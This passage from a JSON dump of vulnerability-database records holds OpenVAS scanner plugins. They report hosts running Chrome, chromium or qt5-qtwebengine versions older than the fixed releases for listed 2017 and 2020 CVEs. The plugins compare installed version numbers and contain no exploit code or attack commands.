vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exists due to\n\n - An out of bounds memory access in streams.\n\n - A type confusion in V8.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow attackers\n to execute arbitrary code or crash affected system.\");\n\n script_tag(name:\"affected\", value:\"Google Chrome version prior to 80.0.3987.122\n on MAC OS X\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Google Chrome version\n 80.0.3987.122 or later. Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_tag(name:\"qod_type\", value:\"executable_version\");\n\n script_xref(name:\"URL\", value:\"https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"gb_google_chrome_detect_macosx.nasl\");\n script_mandatory_keys(\"GoogleChrome/MacOSX/Version\");\n exit(0);\n}\n\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif(!infos = get_app_version_and_location(cpe:CPE, exit_no_version:TRUE)) exit(0);\nchr_ver = infos['version'];\nchr_path = infos['location'];\n\nif(version_is_less(version:chr_ver, test_version:\"80.0.3987.122\"))\n{\n report = report_fixed_ver(installed_version:chr_ver, fixed_version:\"80.0.3987.122\", install_path:chr_path);\n security_message(data:report);\n exit(0);\n}\nexit(99);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-03-04T16:38:44", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "description": "The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.", "modified": "2020-03-03T00:00:00", "published": "2020-02-25T00:00:00", "id": "OPENVAS:1361412562310816585", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310816585", "type": "openvas", "title": "Google Chrome Security Updates(stable-channel-update-for-desktop_24-2020-02)-Linux", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\n\nCPE = \"cpe:/a:google:chrome\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.816585\");\n script_version(\"2020-03-03T07:50:03+0000\");\n script_cve_id(\"CVE-2020-6407\", \"CVE-2020-6418\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-03-03 07:50:03 +0000 (Tue, 03 Mar 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-02-25 17:55:24 +0530 (Tue, 25 Feb 2020)\");\n script_name(\"Google Chrome Security Updates(stable-channel-update-for-desktop_24-2020-02)-Linux\");\n\n script_tag(name:\"summary\", value:\"The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exists due to\n\n - An out of bounds memory access in streams.\n\n - A type confusion in V8.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow attackers\n to execute arbitrary code or crash affected system.\");\n\n script_tag(name:\"affected\", value:\"Google Chrome version prior to 80.0.3987.122\n on Linux\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Google Chrome version\n 80.0.3987.122 or later. Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_tag(name:\"qod_type\", value:\"executable_version\");\n\n script_xref(name:\"URL\", value:\"https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"gb_google_chrome_detect_lin.nasl\");\n script_mandatory_keys(\"Google-Chrome/Linux/Ver\");\n exit(0);\n}\n\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif(!infos = get_app_version_and_location(cpe:CPE, exit_no_version:TRUE)) exit(0);\nchr_ver = infos['version'];\nchr_path = infos['location'];\n\nif(version_is_less(version:chr_ver, test_version:\"80.0.3987.122\"))\n{\n report = report_fixed_ver(installed_version:chr_ver, fixed_version:\"80.0.3987.122\", install_path:chr_path);\n security_message(data:report);\n exit(0);\n}\nexit(99);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-03-04T16:38:45", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-6407", "CVE-2020-6418"], "description": "The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.", "modified": "2020-03-03T00:00:00", "published": "2020-02-25T00:00:00", "id": "OPENVAS:1361412562310816584", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310816584", "type": "openvas", "title": "Google Chrome Security Updates(stable-channel-update-for-desktop_24-2020-02)-Windows", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\n\nCPE = \"cpe:/a:google:chrome\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.816584\");\n script_version(\"2020-03-03T07:50:03+0000\");\n script_cve_id(\"CVE-2020-6407\", \"CVE-2020-6418\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-03-03 07:50:03 +0000 (Tue, 03 Mar 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-02-25 17:55:24 +0530 (Tue, 25 Feb 2020)\");\n script_name(\"Google Chrome Security Updates(stable-channel-update-for-desktop_24-2020-02)-Windows\");\n\n script_tag(name:\"summary\", value:\"The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exists due to\n\n - An out of bounds memory access in streams.\n\n - A type confusion in V8.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow attackers\n to execute arbitrary code or crash affected system.\");\n\n script_tag(name:\"affected\", value:\"Google Chrome version prior to 80.0.3987.122\n on Windows\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Google Chrome version\n 80.0.3987.122 or later. Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_tag(name:\"qod_type\", value:\"registry\");\n\n script_xref(name:\"URL\", value:\"https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"gb_google_chrome_detect_win.nasl\");\n script_mandatory_keys(\"GoogleChrome/Win/Ver\");\n exit(0);\n}\n\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif(!infos = get_app_version_and_location(cpe:CPE, exit_no_version:TRUE)) exit(0);\nchr_ver = infos['version'];\nchr_path = infos['location'];\n\nif(version_is_less(version:chr_ver, test_version:\"80.0.3987.122\"))\n{\n report = report_fixed_ver(installed_version:chr_ver, fixed_version:\"80.0.3987.122\", install_path:chr_path);\n security_message(data:report);\n exit(0);\n}\nexit(99);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:33:54", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-5076", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5088", "CVE-2017-5089", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2017-07-16T00:00:00", "id": "OPENVAS:1361412562310872882", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310872882", "type": "openvas", "title": "Fedora Update for qt5-qtwebengine FEDORA-2017-a7a488d8d0", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_fedora_2017_a7a488d8d0_qt5-qtwebengine_fc25.nasl 14223 2019-03-15 13:49:35Z cfischer $\n#\n# Fedora Update for qt5-qtwebengine FEDORA-2017-a7a488d8d0\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.872882\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2017-07-16 07:37:49 +0200 (Sun, 16 Jul 2017)\");\n script_cve_id(\"CVE-2017-5070\", \"CVE-2017-5071\", \"CVE-2017-5075\", \"CVE-2017-5076\",\n \"CVE-2017-5077\", \"CVE-2017-5078\", \"CVE-2017-5079\", \"CVE-2017-5083\",\n \"CVE-2017-5088\", \"CVE-2017-5089\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for qt5-qtwebengine FEDORA-2017-a7a488d8d0\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'qt5-qtwebengine'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"qt5-qtwebengine on Fedora 25\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2017-a7a488d8d0\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WH77674GERGYURSNKLO6MUGCILRT2HNB\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC25\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC25\")\n{\n\n if ((res = isrpmvuln(pkg:\"qt5-qtwebengine\", rpm:\"qt5-qtwebengine~5.9.1~1.fc25\", rls:\"FC25\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:34:05", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-5076", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5088", "CVE-2017-5089", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2017-08-04T00:00:00", "id": "OPENVAS:1361412562310873085", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310873085", "type": "openvas", "title": "Fedora Update for qt5-qtwebengine FEDORA-2017-1e34da27f3", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_fedora_2017_1e34da27f3_qt5-qtwebengine_fc26.nasl 14223 2019-03-15 13:49:35Z cfischer $\n#\n# Fedora Update for qt5-qtwebengine FEDORA-2017-1e34da27f3\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.873085\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2017-08-04 12:46:40 +0530 (Fri, 04 Aug 2017)\");\n script_cve_id(\"CVE-2017-5070\", \"CVE-2017-5071\", \"CVE-2017-5075\", \"CVE-2017-5076\",\n \"CVE-2017-5077\", \"CVE-2017-5078\", \"CVE-2017-5079\", \"CVE-2017-5083\",\n \"CVE-2017-5088\", \"CVE-2017-5089\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for qt5-qtwebengine FEDORA-2017-1e34da27f3\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'qt5-qtwebengine'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"qt5-qtwebengine on Fedora 26\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2017-1e34da27f3\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3PXDS67RNDIDAJ2SBQNPAU2I2KN7YJFG\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC26\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC26\")\n{\n\n if ((res = isrpmvuln(pkg:\"qt5-qtwebengine\", rpm:\"qt5-qtwebengine~5.9.1~1.fc26\", rls:\"FC26\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-31T18:27:25", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-5080", "CVE-2017-5082", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5085", "CVE-2017-5074", "CVE-2017-5072", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086"], "description": "The remote host is missing an update for the ", "modified": "2020-01-31T00:00:00", "published": "2017-06-08T00:00:00", "id": "OPENVAS:1361412562310851564", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310851564", "type": "openvas", "title": "openSUSE: Security Advisory for chromium (openSUSE-SU-2017:1502-1)", "sourceData": "# Copyright (C) 2017 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of their respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.851564\");\n script_version(\"2020-01-31T08:23:39+0000\");\n script_tag(name:\"last_modification\", value:\"2020-01-31 08:23:39 +0000 (Fri, 31 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2017-06-08 06:04:51 +0200 (Thu, 08 Jun 2017)\");\n script_cve_id(\"CVE-2017-5070\", \"CVE-2017-5071\", \"CVE-2017-5072\", \"CVE-2017-5073\",\n \"CVE-2017-5074\", \"CVE-2017-5075\", \"CVE-2017-5076\", \"CVE-2017-5077\", \"CVE-2017-5078\",\n \"CVE-2017-5079\", \"CVE-2017-5080\", \"CVE-2017-5081\", \"CVE-2017-5082\", \"CVE-2017-5083\",\n \"CVE-2017-5085\", \"CVE-2017-5086\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"openSUSE: Security Advisory for chromium (openSUSE-SU-2017:1502-1)\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'chromium'\n package(s) announced via the referenced advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update to Chromium 59.0.3071.86 fixes\n the following security issues: - CVE-2017-5070: Type confusion in V8 -\n CVE-2017-5071: Out of bounds read in V8 - CVE-2017-5072: Address spoofing in\n Omnibox - CVE-2017-5073: Use after free in print preview - CVE-2017-5074: Use\n after free in Apps Bluetooth - CVE-2017-5075: Information leak in CSP reporting\n\n - CVE-2017-5086: Address spoofing in Omnibox - CVE-2017-5076: Address spoofing\n in Omnibox - CVE-2017-5077: Heap buffer overflow in Skia - CVE-2017-5078:\n Possible command injection in mailto handling - CVE-2017-5079: UI spoofing in\n Blink - CVE-2017-5080: Use after free in credit card autofill - CVE-2017-5081:\n Extension verification bypass - CVE-2017-5082: Insufficient hardening in credit\n card editor - CVE-2017-5083: UI spoofing in Blink - CVE-2017-5085: Inappropriate\n javascript execution on WebUI pages\");\n\n script_tag(name:\"affected\", value:\"chromium on openSUSE Leap 42.2\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2017:1502-1\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap42\\.2\");\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap42.2\") {\n if(!isnull(res = isrpmvuln(pkg:\"chromedriver\", rpm:\"chromedriver~59.0.3071.86~104.15.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromedriver-debuginfo\", rpm:\"chromedriver-debuginfo~59.0.3071.86~104.15.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromium\", rpm:\"chromium~59.0.3071.86~104.15.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromium-debuginfo\", rpm:\"chromium-debuginfo~59.0.3071.86~104.15.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"chromium-debugsource\", rpm:\"chromium-debugsource~59.0.3071.86~104.15.1\", rls:\"openSUSELeap42.2\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-07-19T22:08:05", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-5080", "CVE-2017-5082", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5085", "CVE-2017-5074", "CVE-2017-5072", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086"], "description": "The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.", "modified": "2019-07-17T00:00:00", "published": "2017-06-06T00:00:00", "id": "OPENVAS:1361412562310811082", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310811082", "type": "openvas", "title": "Google Chrome Security Updates(stable-channel-update-for-desktop-2017-06)-MAC OS X", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n#\n# Google Chrome Security Updates(stable-channel-update-for-desktop-2017-06)-MAC OS X\n#\n# Authors:\n# Shakeel <bshakeel@secpod.com>\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:google:chrome\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.811082\");\n script_version(\"2019-07-17T08:15:16+0000\");\n script_cve_id(\"CVE-2017-5070\", \"CVE-2017-5071\", \"CVE-2017-5072\", \"CVE-2017-5073\",\n \"CVE-2017-5074\", \"CVE-2017-5075\", \"CVE-2017-5086\", \"CVE-2017-5076\",\n \"CVE-2017-5077\", \"CVE-2017-5078\", \"CVE-2017-5079\", \"CVE-2017-5080\",\n \"CVE-2017-5081\", \"CVE-2017-5082\", \"CVE-2017-5083\", \"CVE-2017-5085\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2019-07-17 08:15:16 +0000 (Wed, 17 Jul 2019)\");\n script_tag(name:\"creation_date\", value:\"2017-06-06 10:00:35 +0530 (Tue, 06 Jun 2017)\");\n script_name(\"Google Chrome Security Updates(stable-channel-update-for-desktop-2017-06)-MAC OS X\");\n\n script_tag(name:\"summary\", value:\"The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exists due to,\n\n - A type confusion in V8.\n\n - An out of bounds read error in V8.\n\n - Address spoofing in Omnibox.\n\n - Use after free error in print preview.\n\n - Use after free error in Apps Bluetooth.\n\n - Information leak in CSP reporting.\n\n - Heap buffer overflow in Skia.\n\n - Possible command injection in mailto handling.\n\n - UI spoofing in Blink.\n\n - Use after free error in credit card autofill.\n\n - Extension verification bypass.\n\n - Insufficient hardening in credit card editor.\n\n - Inappropriate javascript execution on WebUI pages.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation of this vulnerability\n will allow remote attackers to have some unspecified impact on the affected user.\");\n\n script_tag(name:\"affected\", value:\"Google Chrome version prior to 59.0.3071.86\n on Mac OS X\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Google Chrome version 59.0.3071.86\n or later.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_tag(name:\"qod_type\", value:\"executable_version\");\n\n script_xref(name:\"URL\", value:\"https://chromereleases.googleblog.com/2017/06/stable-channel-update-for-desktop.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"General\");\n script_dependencies(\"gb_google_chrome_detect_macosx.nasl\");\n script_mandatory_keys(\"GoogleChrome/MacOSX/Version\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif(!chr_ver = get_app_version(cpe:CPE)){\n exit(0);\n}\n\nif(version_is_less(version:chr_ver, test_version:\"59.0.3071.86\"))\n{\n report = report_fixed_ver(installed_version:chr_ver, fixed_version:\"59.0.3071.86\");\n security_message(data:report);\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-07-19T22:08:10", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-5080", "CVE-2017-5082", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5085", "CVE-2017-5074", "CVE-2017-5072", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086"], "description": "The host is installed with Google Chrome\n and is prone to multiple vulnerabilities.", "modified": "2019-07-17T00:00:00", "published": "2017-06-06T00:00:00", "id": "OPENVAS:1361412562310811081", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310811081", "type": "openvas", "title": "Google Chrome Security Updates(stable-channel-update-for-desktop-2017-06)-Linux", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n#\n# Google Chrome Security Updates(stable-channel-update-for-desktop-2017-06)-Linux\n#\n# Authors:\n# Shakeel <bshakeel@secpod.com>\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:google:chrome\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.811081\");\n script_version(\"2019-07-17T08:15:16+0000\");\n script_cve_id(\"CVE-2017-5070\", \"CVE-2017-5071\", \"CVE-2017-5072\", \"CVE-2017-5073\",\n \"CVE-2017-5074\", \"CVE-2017-5075\", \"CVE-2017-5086\", \"CVE-2017-5076\",\n \"CVE-2017-5077\", \"CVE-2017-5078\", \"CVE-2017-5079\", \"CVE-2017-5080\",\n \"CVE-2017-5081\", \"CVE-2017-5082\", \"CVE-2017-5083\", \"CVE-2017-5085\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2019-07-17 08:15:16 +0000 (Wed, 17 Jul 